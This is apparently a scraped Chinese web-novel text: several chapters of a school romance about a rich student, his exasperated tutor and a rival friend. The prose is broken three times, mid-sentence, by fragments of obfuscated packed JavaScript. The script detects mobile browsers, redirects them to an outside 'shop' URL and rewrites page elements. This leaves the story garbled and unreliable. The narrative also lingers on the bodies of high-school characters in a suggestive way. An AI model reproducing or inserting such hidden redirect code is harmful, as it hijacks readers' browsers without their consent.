陆岳之愈发不满:“是你让我来给你补习,麻烦你把我的工作当回事。” 段予真头也没回:“行,知道了。你先备课吧,我两个小时以后回来。要喝水吃东西去洗手间的话,找宋姨就行。她在楼上阳台浇花呢。” “……”陆岳之眼睁睁目送他出门,接着坐上车扬长而去。 陆岳之又低头看向茶几上精心准备的资料教材,只觉得自己根本就是个笑话,竟然相信了段予真这个纨绔子弟会认真学习。 他俯身收拾东西准备离开,收到一半,宋姨端着点心零食出现了,极力挽留他,让他等段予真回来。 陆岳之对于长辈的热情无所适从,怔怔地又坐下了。宋姨笑着给他倒茶:“小真他总是忙得很,天天有做不完的事情。不过既然请你来了,肯定不会是胡闹。你先歇会儿。” 宋姨离开后,陆岳之压下不耐烦继续等着。等了一个多钟头,段予真提前回来了,肉眼可见的情绪低落。 陆岳之喉咙发痒,憋出来句:“你怎么了。” 段予真看看他:“pancake好像真的活不了多久了。” 说话的时候他两手捂着吉娃娃的耳朵,不愿意这晦气的话被它听见,免得吓坏它。 “狗再长寿顶多也就能活二十年,你亲眼看到它死不过是个早晚的事。”陆岳之说。 段予真呆呆地呢喃:“你真会安慰人。” 他把pancake抱上楼。陆岳之不想独自呆在客厅了,便跟在段予真身后,一起来到pancake的房间。 他站在门口,看着窗明几净,阳光充沛的屋子,还有地上散落的各种玩具、生活用品,顿时感觉自己刚才的安慰纯属多余。 这狗活得比他舒服多了,吃喝不愁,居所豪华,还被段予真每天精心伺候着,早就够本了,哪里有值得伤心的地方? 段予真把疲惫的pancake放回它的小床上,吉娃娃很快睡着了。 段予真跪立在迷你小床旁边,低头安静地看着睡在里面的小狗。阳光倾泻而下,在段予真身上晕开一层朦胧光圈,他的侧颜美丽到近乎神圣,目光怜爱。 如果不是确认那小床上只有丑狗一只,陆岳之真会忍不住觉得,这画面颇像慈母在看着自己心爱的小婴儿。 看了几分钟,段予真站起来,转身面对陆岳之,眼里的温柔瞬间就消失了,拿起粘毛器烦躁地滚着身上的狗毛:“不是要上课吗,走吧。” 下楼的过程中段予真把沾满狗毛的毛衣脱掉了,露出里面半高领的打底衫。陆岳之的眼皮突然跳了下,热得脑子糊涂,目光乱转,没有个合适的能停住的地方。 段予真平常的衣服不知都是怎么挑的,反正不太像陆岳之经常看到的那些经典款男装,没有一丁点硬朗的气息。这打底衫贴着身体线条,完美勾勒出段予真又薄又窄的身形,似乎贴身得太女性化了些,但又让他第一反应就觉得好看,合适。 无论是弧度完美的侧腰,平坦的小腹,还是后背微微显出线条的蝴蝶骨,从领口延伸出的修长脖颈,都很好看。是那种让他喉咙发紧的好看。 陆岳之的目光控制不住地定在段予真腰间。 脑子里蹦出个非常冒犯的词——不盈一握。 他烧得厉害,呼吸都变粗重了。段予真突然出乎意料地回头瞥他一眼,凤眼中似有若无的轻蔑冷色竟让陆岳之越发失控,窘迫道:“……我需要去下洗手间。” 段予真给他指了路,坐在沙发上,端起宋姨榨好的西芹胡萝卜汁,刷着ins皱眉喝了大半杯。 陆岳之从洗手间回来,闻到杯子里诡异的气味:“这是……” “我的下午茶。”段予真说着,把自己手边高油高糖的糕点推到陆岳之那边:“这些都交给你了,吃不完可以带走。” “把我当垃圾桶?”陆岳之问。 段予真喝着自己的下午茶,打量陆岳之两眼,放下杯子后抿了抿唇上水渍,平淡地说:“不然呢?看你也不像是会考虑该怎么保持身材的样子。” 他的话没有戳到陆岳之的痛点,所以倒还能承受,冷笑着还击:“我当然是没有你们这群少爷的闲情逸致。” 斗着嘴开始了补习。陆岳之简单问了问段予真的薄弱项,方便找到切入点,但段予真态度极其敷衍:“随便,从头开始就行。” 陆岳之便从第一章开始讲起。 段予真是他教过最难搞的学生,在他眼皮子底下捧着脸光明正大地走神;他偶尔问个问题,又能慢吞吞地答出来,想批评都找不到理由。 磨了快一个小时,陆岳之难以忍受地用签字笔敲了敲段予真的书本:“你能不能认真点。” “我很认真啊。”段予真懒散道。 陆岳之看着书页空白处他用铅笔画的番茄:“我看你是在认真走神吧。花钱请我来给你补习,你就是这种学习态度?” 段予真抬脸瞪着他:“陆老师,你是不是太较真了点。” 突如其来一句“陆老师”,震得陆岳之张口结舌。他跟那双明亮而锐气的凤眼对视着,太阳穴有根筋突突地乱跳,最后竟心虚地将视线率先移开。 他被段予真气得心头发痒,恨不得把对方抓过来,在手心握成一团肆意地揉搓,揉到段予真对他哭叫求饶。 他的幻想被段予真打断:“好了,今天的补习到时间了。我把钱转给你。” 下一秒陆岳之就收到今天的补习费用转账。 他把钱退回去:“今天只是试讲,我不会收你一分钱。段予真,希望明天正式上课的时候,你能端正态度。学习是件严肃的事。” 段予真好笑地看着他:“陆岳之你不会真是木头脑袋吧。每周末让你来我家呆四个小时,白拿钱的事你不愿意做,非要跟个老古板一样逼我认真听你讲课,不觉得没劲吗。” “既然你请了我,就麻烦你尊重我的工作。”陆岳之说。 “好啊,你随意。”段予真合起面前画满了涂鸦的课本,叫来司机把陆岳之送回家。 车停在拥堵的巷子口,司机对陆岳之解释:“实在开不进去了,不好意思。” “没事,几步路而已。谢谢。”陆岳之下车关了门,接着却看到司机并没有掉头,而是继续往前,开到了附近的另一处位置。 两分钟后,车子调转方向离去,陆岳之看到沈群坐在了自己坐过的地方。但已经这个点了,他去找段予真,总不能也是为了补课。 更大概率是去做客,去吃晚饭,去陪段予真玩。 陆岳之突然感觉无比荒谬。他和沈群真像皇帝手底下两个可以随意调遣的士兵,再说难听点,根本就是工具,被段予真任性地运用在不同的场合。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971447|193459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驱使他,用的是钱,驱使沈群用的又是什么? 那虚无的所谓“友谊”吗?陆岳之并不这么觉得。 他和沈群不熟,但听说过这人中学时成绩拔尖,性格狂傲心眼又多,因为社交矛盾,在当时的兰城初中生网络圈里被人匿名挂过好几次。初二,沈群突然休学半年,据说是检查出了腿疾,后面再回到学校就沉默低调许多,在人群里不那么突出了,然而性格并没真变得多好。 陆岳之猜测,像沈群这种和自己一样从小浸淫在竞争思维里的人,估计也不会有多珍视友谊。能够驱使他的大概还是其它的东西。 如果和沈群成为对手,陆岳之有直觉,想要获胜会很难。 脑子里又出现了沈群坐在车里远去的画面,不久后,或者说现在,他可能已经和段予真呆在一块儿,做着和学习完全无关的事了。 陆岳之心口发堵,他转身往家里走,走着走着,泄愤地猛踹了一脚旁边的垃圾桶。 “予真,宋姨让我帮忙叮嘱你,练琴要注意时间,早点休息。” 沈群端着切好的水果走进段予真的书房,把果盘放在书桌上。 段予真忙着调整指法,没抬头,只轻轻嗯了声。沈群在他旁边坐下,看着他专心练习新的曲子,放轻呼吸声不愿意打扰。 段予真漂亮的脸对于沈群来说,是一眼就惊艳到被震憾住的感觉。这样的体验从未在他此前的人生中出现过,极其新鲜,因此在它袭来的那个瞬息,他便猝不及防地沉溺在了里面。哪怕不说话,只呆在段予真身边安静欣赏也是愉快的享受。 以前傲慢地觉得喜欢美色的人都肤浅,如今才知道话说太早了。那时的口出狂言,只不过是因为还没有遇到属于自己的钟情。 段予真忽然仰头,长长地吐了口气,接着把整首曲子连贯地弹了一遍。弹完之后他扭头对沈群露出轻松的笑容:“怎么样?” “好听。”沈群把果盘端过来。 段予真吃掉几块香蕉:“行了,剩下的不想吃了。” 沈群拿来水杯让他漱口。段予真合上琴盖,脸趴在上面,双目失神:“练琴好累呀。” “我抱你回房间。”沈群提议。 段予真轻轻摇头:“这样不好吧。你抱得动我?” 沈群笑了:“连你都抱不动,那我岂不是真的废了。” 段予真继续轻轻摇头,紧接着就被沈群打横抱了起来,一点没颠簸,没让他害怕。 沈群平时独自在家生活,劳动和锻炼多少还是会做些,抱段予真回房间这事对他来说不费吹灰之力。 段予真被抱着也不挣扎,扭着脸看沈群的喉结,小声说:“你抱我的感觉很熟悉。” “嗯?” “有点像小时候在客厅看电视睡着了,舅舅抱我回卧室的感觉。他经常下班很晚。”段予真回忆着:“有时候半路上我就醒了,有时候没醒,第二天就会觉得很神奇。吾好梦中飞行。” 他感觉到沈群胸腔震动,是在无声地笑。 “你从小一个人呆在国外,只有舅舅照顾,偶尔也会很想家吧?”沈群想着很小的段予真坐在沙发上等大人回来,等到睡着的样子,不由心头酸痛。 段予真对外一向热衷于表现乐观,好像从来都没有烦恼。 但是听到沈群这么问,他忽然把脸悄悄地又扭回去,闷在沈群心口,极轻地“嗯”了声。 那些孤寂的夜晚,连保姆都睡下了,落地窗外幽暗夜景仿佛没有五官的怪物,会穿过玻璃向他扑来。他抓紧抱枕蜷缩在宽大沙发里,眼睛盯着吵闹的电视屏幕,又时不时要分神去听门外是否有熟悉的汽车靠近的声音。 挑高的设计让客厅空空荡荡像个巨大的玩具匣子,段予真是被安放在其中的小小人偶,只有孤零零一个。 怎么会不委屈。 12. 12 清早严烈又来蹭饭,跟宋姨打了声招呼便落座开吃。 吃了没两口,听到楼梯上有动静,抬头看到沈群走在段予真身边。 严烈猛地站起来:“小真?!” 昨晚段予真跟沈群坐在床上玩围棋,下棋下得太沉迷了,到凌晨才被沈群哄着躺下睡觉,这时还没睡好,本来就烦:“说话能不能小声点,吵死了。” “不是,这个人!他为什么在这里?”严烈不敢置信地指着沈群:“他昨天不会睡在你房间吧!” “你管得着吗。”段予真握着包在毛巾里的冰块做冰敷消水肿:“再吵就滚出去。” 严烈不情不愿地闭嘴了,仍用极其强烈的带着敌意的目光扫视沈群。 他当然是不反对段予真交朋友,也不敢反对。可是才认识这么短时间,就能被段予真邀请来做客,严烈只能认为沈群这个人肯定心机深沉。 严烈想到段予真以前每次放假回来,都被圈里那群年龄相仿的公子哥哄着捧着带出去吃喝玩乐,当时他就烦得要命,拦又拦不住。 等段予真又长大了些,性子变冷,不愿意整天泡在外面,每天除了练琴就是健身、学习,他还以为可以就此放下心,没想到才得意几年,竟然又有阿猫阿狗没眼色地凑上来了。 更可气的是严烈心里清楚,能亲近段予真的人,都是经过他本人允许才得到的机会。 段予真没回来的时候他天天盼着,想着要是能留下来不走就好了,总比远在天边要好;等到真的回来了,严烈才意识到自己管不住。自古以来压根就没有奴才能管住皇帝的道理。 严烈悲愤交加,看沈群越看越不顺眼。沈群倒是脸皮厚得很,坦然地呆在段予真身边,坐在桌前一起吃饭。 段予真还在犯起床气,低头漫不经心地用叉子戳着沙拉里的虾仁。他睡衣纽扣松开了两颗,锁骨线条清晰的锁骨,胸膛小片肌肤光洁白嫩,布料交叠处的幽深阴影更是引人探寻。 身边一双眼睛偷偷摸摸地侧着看,对面一双眼睛目不转睛地伸着看,视线炽热,简直要把他的睡衣当场剥下。 段予真端起咖啡喝了两口,另一只手伸到领前把纽扣重新扣好。 “谢谢你的目光提醒。”段予真对严烈讥讽地笑了下。 严烈并不掩饰自己的好色:“咱们都这么熟了,还有什么不能看的……小真你要防也该防外人才对。” “人家没你这么恶心。色鬼似的,口水都要滴出来了。”段予真说。 旁边的沈群好像什么都不知道,只是闷着头喝水,喝得有些急。 严烈看着他那心虚的样子,就明白他脑子里的念头也没比自己干净多少,然而被段予真看着,又不能说什么,暗骂了句,装货。 吃过早饭段予真让司机将沈群送回去,严烈也被赶走,他自己回到书房又开始弹琴,一段华彩反反复复地练习,目光逐渐放空,双手在轻微的疲惫感中循着肌肉记忆重复动作。 他弹钢琴不为任何目的,仅仅是自幼培养起的习惯,已经成了生活日常,每天都会在钢琴前面坐会儿。 段予真是早产儿,在母亲徐清然去A国出差的途中匆匆降生,生产结束后徐清然急着完成手头工作,临时做决定,把段予真留在了定居A国的舅舅徐亦霆身边代为监护。 徐亦霆从事量化行业,忙得自顾不暇,还好有钱财傍身,请了一大堆保姆和私教,跟在牙牙学语的段予真屁股后面跑来跑去。 段家内部感情较为淡薄,每个家庭成员之间都算不上特别亲密。相比起花时间陪伴,徐清然和丈夫更倾向于为孩子提供足够的物质支持。段予真便一直留在了舅舅身边,同时接受着两种文化的耳濡目染。 他生在A国长在A国,却又从小就知道自己并非A国人,在地球彼端还有另一个真正的归属。徐亦霆教他毛笔字,过年的时候自己写春联,带他去和华人朋友聚餐吃年夜饭,放烟花爆竹,并要求他熟悉国内文化。 徐亦霆的教育观念传统而落后,从小段予真就被琴棋书画包围,被迫进行着严苛的艺术训练。 随着年龄增长,有了自我意识之后,段予真才发现自己学习的这些技能,和古人对大家闺秀的要求可以说如出一辙。小学里很长一段时间他都留着齐刘海波波头,是国内很老式的学生发型。徐亦霆根本是把他当女儿在养。 从那时起段予真就暗暗地有了叛逆之心,想要从舅舅身边离开。保姆退休只不过是个借口。 徐亦霆经常告诉段予真,总有一天他会回到国内,回母亲那里生活,但等到段予真和徐清然商量好了,提出要回国的时候,却又不肯放手。 他找理由说A国的环境可以让段予真更轻松自由地生活,得到更好的托举;高中关键时期突然改变学习模式不容易适应……诸如此类。 段予真莫名其妙:“你不是说我总有一天要回去吗?我还以为你很盼着我回国。” “现在这个时间点并不合适,回国的事等你大学毕业真正从家里独立出去再说。别再提了。”徐亦霆态度专横。 他性格糟糕,除了英俊凌厉的外形,完全就是大众刻板印象里的那类寡情理工男,且终生没有婚育打算,心里少得可怜的温情和偏爱尽数投注在段予真身上。 都说父爱如山,在段予真的人生中承担父职的人正是徐亦霆。他把段予真养成了睡在珍珠和丝绸堆里的任性小孩,同时也是段予真头顶遮天蔽日的恐怖阴影,真正如山岳般威严。 徐亦霆控制欲极强,连严烈这个自小认识的朋友,都是经他从门当户对的同龄人里挑选之后,才刻意推到段予真面前。 眼前世界明明广阔无边,可只要还呆在舅舅身旁,段予真就觉得自己永远不会自由。徐亦霆不到四十岁,生活习惯健康,体格强健,不出意外可以活很久很久,也就是说,至少还能控制他大半辈子。 想到这里段予真就不寒而栗。 为回国的事段予真闹了一周冷战,发现没用,又在徐亦霆打工作电话时捣乱,在他书房里胡闹,把文件丢得到处都是,陆续摔了他的电脑和砚台收藏,终于如愿让徐亦霆火山爆发,畅快地大吵一架。 段予真口不择言,骂得很难听:“别以为我不知道你打的什么算盘,强迫我跟你一起去那些酒会舞会,把我打扮成漂漂亮亮的玩物,讨你那些洋大人客户喜欢。你有没有问过我的意愿?在你眼里我就是个精心养出来的物件,要等着哪天高价卖出去你才甘心!” “Princess,watch your mouth!”徐亦霆眼珠一下子变得赤红,面目狰狞近乎暴怒,看着段予真眼中含泪的可怜模样,从来能言善辩的舌头竟也木了,装半天哑巴,最终开口放人:“你想走就走,我不留你。” 段予真带着简单的行李离开徐亦霆豪宅的那天,只觉得连空气都是新鲜的。 暑假里他染了以前不让染的张扬发色,穿徐亦霆绝不会给他买的那些风格叛逆的衣服,也用不着再担心偶尔玩乐偷懒的事传到徐亦霆那里要怎么应付,痛快极了。 他当然想走就走。并且他还要越走越远,直到别人提起他时,和徐亦霆这个可怕的名字再无牵连。 指尖下流畅的曲音突然变了调。段予真从连绵不绝的负面回忆中抽身,恼火地合上谱子,来到窗边看着外面安宁的景致。 天气很好,宋姨正带着pancake坐在草坪上晒太阳,远处的风景也不再是他前十几年早就看厌烦的蜿蜒山脉和一栋栋相似的泳池别墅。段予真周围阳光普照,而A国此刻正沉浸于漫长黑夜。 在这里一切事情都是由他自己做主,谁也管不着。 舅舅离他远着呢。隔了半个地球,而且都闹掰了,没理由再抓他回去。段予真很了解徐亦霆,已经决裂到这种地步,对方绝不会再做上赶着的事。 调整好心情,段予真坐回琴凳上,转而弹起一首活泼欢快的小曲。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971448|193459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >* 下午一点五十分陆岳之出现在别墅外面,背着书包,里面是更多的教材资料。 段予真午睡刚起床,面颊微粉,视线痴痴地低垂着,睫羽忽而一颤,随即又继续沉重地耷拉下去,两手撑着沙发坐在他对面,昏昏欲睡听他讲解数学题。 陆岳之用指节敲了敲茶几,声音响亮。段予真抬脸瞥着他,懒倦的神态如海棠春睡,娇憨可人,目光迷迷蒙蒙似有春意泛滥。陆岳之被看得很不自在,身体麻酥酥的,突然触电了。 他不小心将脑子里乱七八糟的想法说出口:“别用那种眼神望着我——” 没说出来的那些被及时咽了回去,否则陆老师就会师德不保。 段予真被温度合适的阳光晒得非常舒服,再加上陆岳之念经一般催眠的教学方式,强撑着才没有倒头就睡,听到他突然说了半句话又憋回去,提起一点精神认真地疑惑:“啊?你说什么?” “没。”陆岳之摇摇头。 宋姨送过来两碗绿豆百合汤,在冰水里浸了会儿,微微的凉,又不至于寒气太重。段予真打起精神开始吃午后点心,吃了两口,逐渐清醒过来,咬着调羹,三下五除二地写着刚才犯困时漏听的题目。 陆岳之喝了碗汤的时间,段予真把题都做完了,推过来给他检查。陆岳之皱眉看着,正确率依然不够理想。 开学以来几次小测,段予真的成绩稳定保持在中上游,但始终没挤到过最前面。让陆岳之恼火的是,很多题目能看出来段予真分明是掌握了的,考试时却偏偏会因为粗心犯下一些低级错误,丢掉不该丢的分。 段予真对考试的态度很散漫,不甚在意。老师把他叫去办公室语重心长地沟通谈心,他答应得都很干脆,真正落实时又我行我素。 陆岳之把习题册上段予真做错的题目用铅笔圈出来,指给他看:“这跟我给你讲的例题一个类型,刚才不是都理解了吗,又错?” 段予真半点不内疚:“我现在改正。” “光知道错了再改正有什么用,你得用脑子记住啊。”陆岳之被气得半死。 他之前给别人做家教,态度比面对段予真要严厉多了,那些人也珍惜自己花出去的钱,会在有限的时间里面竭尽全力地多学一些,没有哪个会像段予真这样懒散。 一会儿要喝水吃点心,一会儿要去休息眼睛,一会儿要陪狗玩……他觉得自己简直是在浪费宝贵人生对牛弹琴。 “我都记住了啊。”段予真还有点委屈。 陆岳之被他气笑:“记住了,考试的时候还能做错?!” 段予真振振有词:“这几次小考又不重要。期中考期末考的时候,我肯定不会错。” 他的信口开河只让陆岳之感觉荒唐:“你能不能脚踏实地一点。” “怎么,不信我?”段予真转着笔很悠闲地看他。 陆岳之没说话,段予真又自顾自道:“期中考试不是就在下个月月中了嘛,到时候我的排名要是在你前面,你怎么说。” “牛皮要被你吹上天了。”陆岳之冷冷嘲讽。 他成绩很稳定,每次考试都是在年级一二名浮动,不然也没底气在外面给同龄人做家教。段予真口气实在太狂妄了些。 段予真对他的嘲讽也不生气,只是问:“先说好,我如果做到了,你要用什么方式跟我赔礼道歉?” “你想我怎么赔礼道歉。”陆岳之笃定自己没有输的可能。 段予真认真想了会儿,实在想不到陆岳之这根无聊的木头,能为自己做些什么有趣的事。 陆岳之主动许诺了个大的:“如果期中考试你名次真的在我前面,往后我给你当跟班,随叫随到。” 段予真不缺他这个跟班,因为除了生活在魔法世界的巫师,没有谁出门会随身携带一根木头。但除此之外,陆岳之对他也真是没别的价值了。 “OK呀。”段予真单手捧脸,拿铅笔在习题册上涂鸦着。 13. 13 虽说陆岳之对段予真夸下的海口抱着看好戏的心态,但身为段予真的家教老师,他必须负起相应的责任,也正好拿这个赌注来督促段予真用功学习。 早晨打扫清洁区,陆岳之主动申请跟段予真一组,一边扫地一边逼着段予真背古文。 段予真烦透了,背着背着就跟他拉开距离,陆岳之很快又跟上来:“还没背完,跑什么?地用不着你扫,专心背你的就行。” “我会了。” “会了也要巩固。”陆岳之说:“再说光会背也不够,含义都理解了吗?知道用在哪,怎么用吗?” 段予真忿忿地用扫帚拍打陆岳之扫好的落叶堆:“你有完没完,比语文老师那老爷子还能唠叨。” 陆岳之还想再说些什么,段予真忽然眼睛一亮,对不远处经过的外班的人挥了挥手:“沈学长!” 沈群拎着空水桶和抹布走了过来:“予真。你们班今天是你打扫卫生啊。” 学校大部分卫生都是保洁负责,为了培养学生的劳动意识,才划出来一小块班级清洁区,给每个班分了点,区域都紧紧挨着。于是沈群刚好从自己班级的清洁区经过段予真这里,再去往方向相反的工具房打水洗抹布。 段予真跟沈群每回凑到一起都有说不完的话,叽叽喳喳的。隐约还能听到他在跟沈群抱怨陆岳之太啰嗦。 陆岳之在附近闷头扫地,扫帚哗哗地狠刮着地面,声音越来越刺耳。段予真被扑到腿上的落叶惊扰,俯身拍了拍,皱眉看向陆岳之:“没看到我们在说话吗,叶子都扫我身上了。衣服弄脏了你给我洗?” 陆岳之硬邦邦地说:“这里是清洁区,我忙着做值日,做完还要回去学习。你想聊天可以去别的地方,别占着地不干活。” “时间还早,你着什么急啊。”段予真不理解陆岳之突如其来的紧迫感。 刚才两个人没开始打扫的时候,陆岳之还说,清早空气好,这里又比教室清净,可以扫慢一点,让段予真把课文背熟了再回班级。 才几分钟就变卦了。段予真搞不懂这木头脑袋里装的是什么。 沈群伸手理了理段予真校服外套的领口:“有时间再聊吧,你们先忙。我也还要去打水。” 他靠近的时候,段予真闻到他身上有种药草的味道,很淡,闻起来挺舒服。 段予真趴在沈群手臂上,抓着他的校服袖子又认真闻了闻:“沈学长你衣服上这是什么味道?很好闻。” 沈群笑着解释:“大概是我妈放在衣柜里的香囊。” 他伸手扯开校服拉链:“你要是喜欢这个味道的话,我们可以交换外套。” 陆岳之攥着扫帚,慢慢站直身体,眼睛盯着沈群脸上的表情。面对段予真的时候沈群大都在微笑,那笑容永远很诚恳,很坦然。 然而按照陆岳之对学校环境的了解,只有那些在搞暧昧的学生,才会做出交换校服的举动。 段予真刚来,可能还不清楚,但已经在西屏读了一年书的沈群又怎会不懂。 这样的行为在陆岳之看来太出格了。作为学生,而且还是在极为关键的高中时期,怎么能有心思去想学习以外的事?沈群这样难道不是在引段予真堕落吗,本来学习就不用心,要是再沾上早恋就更完蛋了。 “好啊,来换吧。”段予真爽快地脱掉外套和沈群做了交换。 沈群的校服尺码要比段予真大两个号,下摆能遮住他一半大腿,袖子更是长得夸张。沈群看着穿上自己衣服的段予真,觉得他现在的模样又乖又纯,捏捏他的脸:“你这样好可爱。” “平时呢?”段予真问。 沈群想想,说:“平时是漂亮,现在可爱多一点。” 段予真穿着换过来的外套,挥挥袖子和沈群告别,终于回到陆岳之旁边。 陆岳之沉着脸飞快地把整片区域都扫完了,收起工具就朝教室走。段予真抱着自己的扫帚跟在后面:“大木头,你这是什么意思?谁又气着你了。” 对于他随口起的绰号,陆岳之没有生气,只是提醒:“你别忘了跟我打的赌。” 那天他们约定好,期中考试段予真的成绩如果在他前面,他就给段予真当跟班,反过来段予真自然也要给他当跟班。 段予真努力让手从过长的袖子里钻出来,冲他比了个“ok”手势。陆岳之心口堵着的郁气消散了些,伸手拿过他抱着的扫帚:“把课文背一遍给我听。” “不要嘛。”段予真觉得好没劲。 陆岳之说:“背得好有奖励。” 段予真可不觉得他能奖给自己什么好东西。 陆岳之说:“如果背得好……等会儿给你买芒果布丁。” 芒果布丁是学校便利店里的零食,售价十五块一个,段予真这阵子蛮喜欢,但卖得太好了,每次刚来货就会被抢空。而这样的东西,离开学校少了哄抢的氛围,又会失去特意找来吃的兴趣。 严烈趁体育课提前下课去抢购,课间跑到班里给段予真送过几次,被陆岳之看到,还批评了两句,说这种满是添加剂的零食吃多了会损伤大脑机能。 这奖励本身并不算很稀罕,但段予真非常惊奇:“真的假的?” 陆岳之抠门死了,平时刷题用的签字笔都是跟班主任要的,哪里会舍得浪费钱买零食。 倘若换个人给这种奖励,段予真只会不屑一顾,但如果能从平时很抠门的陆岳之手里得到一个布丁,他就觉得还有点意思。 听到段予真这么问,陆岳之就不说话了,神神秘秘的。段予真跟在后面一直追问“真的假的”,问了一路。 到教室里摆好工具,陆岳之又起身出去,没多久真的拿着个黄澄澄的芒果布丁回来了,摊开手在段予真眼前展示:“快背。” “干嘛,我可没答应你的要求。你是觉得我很贪吃吗。”段予真不屑地看着他手里的东西。 陆岳之把布丁收到桌屉里。 过了两三分钟,他的后背被轻轻戳了下。陆岳之扭过头,段予真鼓着脸颊,表情有点不服气,明亮的眼睛盯住他看,一口气把他要求的《论语十二章》背完了。 陆岳之评价:“背得不错,没把自己憋死。” 那颗芒果布丁放在了段予真的笔袋旁边。 段予真打开包装盖,小小地尝了一口,把盖子盖回去,嫌弃道:“被你的手捂热了,口感变得很怪,一点都不好吃。” “不好吃那还给我。”陆岳之嘴边还没来得及显露的笑容僵住了,接着迅速消失。段予真说:“就是不好吃啊,你又生气了。” “没生气。”陆岳之看着被他推回来的布丁,想到这东西花了十五块钱,而段予真仅仅因为口感不对,吃了一口就准备丢掉,心里便有种说不出的感觉。 不是生气。更接近于一种窘迫导致的狼狈。 “丢掉挺浪费的,你帮我吃了吧,谢谢。”段予真忽然说:“另外,给我看看你的手。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971449|193459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陆岳之把右手摊开给他看,左手拿起布丁,掀开盖子直接倒在嘴里,嫩滑甜蜜的触感缠绵在舌尖,伴随着清新的香气。他吃过那种很便宜的散称果冻,跟这布丁的味道没法比,果然贵有贵的道理。 大概是错觉,竟然还从芒果布丁里尝到了极其细微的柚子味。 段予真掰着陆岳之的手指,想知道他的手到底为什么这么热,摸了摸,又翻来覆去地看,也没看出门道。他好奇地将自己的手搭在陆岳之手心,不料被对方条件反射般猛然握住,又立刻慌张地松开。 “看够了吗。”陆岳之眼睛望着别处,强作镇定。 段予真笑了:“还没有呢。不就是握了下手,你干嘛紧张成这样。” 陆岳之沉默地任他继续研究。 陆岳之的手称不上太好看,虽然手指很长,但关节突出明显,掌心和指腹都覆盖着粗糙的茧,优点是指甲修得整齐,虽然肤色不白净,至少还算清爽。 段予真认真地研究陆岳之的手,而陆岳之也借此机会,盯着他的手看个不停。 这双手在和自己的对比之下显得格外优雅,手指纤长匀称极具美感,肤色白嫩细腻,指尖透出淡粉色,甲盖形状小巧而精致。薄薄皮肤下隐约的血管线条,以及些微的骨骼轮廓感,更是让段予真的双手在观感上堪称完美,做任何一件事都会显得赏心悦目。 触感柔软,温热,轻轻贴在陆岳之手心里,让他感觉像是托了一件珍贵而娇气的艺术品,稍不留心就会磕了碰了,于是浑身紧绷,颇为不自在。 等段予真研究完,陆岳之迅速把手抽回去,想了想,没忍住说:“建议你早点把沈群的衣服还给他。” “为何?”段予真捧着脸看他,状态又变得懒洋洋的。 “互换衣服穿这种事不是能随便做的。”陆岳之说:“被班主任发现就死定了。” “班主任还管这个呀。那等我死了,你有空记得去帮我烧点纸。”段予真从同桌手里接过发下来的英语听写本,朝她笑了一下:“谢谢你。” 他漫不经心的反应让陆岳之意识到自己在多管闲事,憋了口气,语气也不再迂回:“早恋会影响学习。段予真,你最好把心思放在该放的地方。” “你看我像是担心学习成绩的人吗?”段予真被逗得笑个不停。 陆岳之讨了个没趣,再次警告:“期中考试,别忘了后果。” 段予真已经参与到了同桌和后桌两个女生的闲聊之中,看都没看他,对他摆摆手,意思是“行了退下吧”。 段予真的同桌叫朱钰,后桌叫邓春灵,两个女孩此时正讨论着家里的宠物。她们都养了长毛猫,烦恼着家具和衣服上永远清理不干净的猫毛,段予真推荐了一下自己觉得很好用的粘毛器,聊了几句,话题渐渐偏到了别处。 “下星期的宠物选美活动你们去吗?我昨天已经给我家朱建刚报名了。”朱钰说。 邓春灵点点头:“去啊!凑个热闹也行,安慰奖还能领袋猫粮。” “宠物选美?”段予真没听说。 “嗯嗯。规模不大,就在新星城那个下沉广场那里,时间是下周六。你有兴趣也带你们家pancake参加一下呗。”朱钰建议他。 她没见过段予真养的狗,只是从pancake这个名字,以及段予真本人的气质来看,觉得他养的宠物应该会是很名贵,在选美活动上很有优势的类型。 段予真陷入了沉思。 14. 14 段予真一进门,就把pancake举起来给沈群看:“你觉得怎么样。” 沈群看着被递到自己眼前,半睁着凸出的大眼睛,神色微醺,体型肥圆像q.q肠一样的狗,微笑着问:“是指哪方面?” “外形。可爱吗。”段予真将小狗搂在臂弯里轻轻抚摸着:“我要带它去参加宠物选美活动。” “啊?”听到这句话,即使沈群做好了心理准备,也没办法立刻反应过来,给出些合适的赞美。 段予真显然对亲手养胖的吉娃娃有着很深的滤镜:“我想给它留下一些值得纪念的东西。” “挺可爱的。”沈群回过神来:“活动在什么时候,我陪你去。” “今天下午。”段予真看看时间。 陆岳之去家里补习的时间和活动撞上了,他没准备取消,给陆岳之发了条短信说明情况,自己会迟到两至三个小时,请陆老师静候。 来沈群家的路上,段予真到超市买了点时鲜食材和水果,还有鲜切花和一个雅致的花瓶。 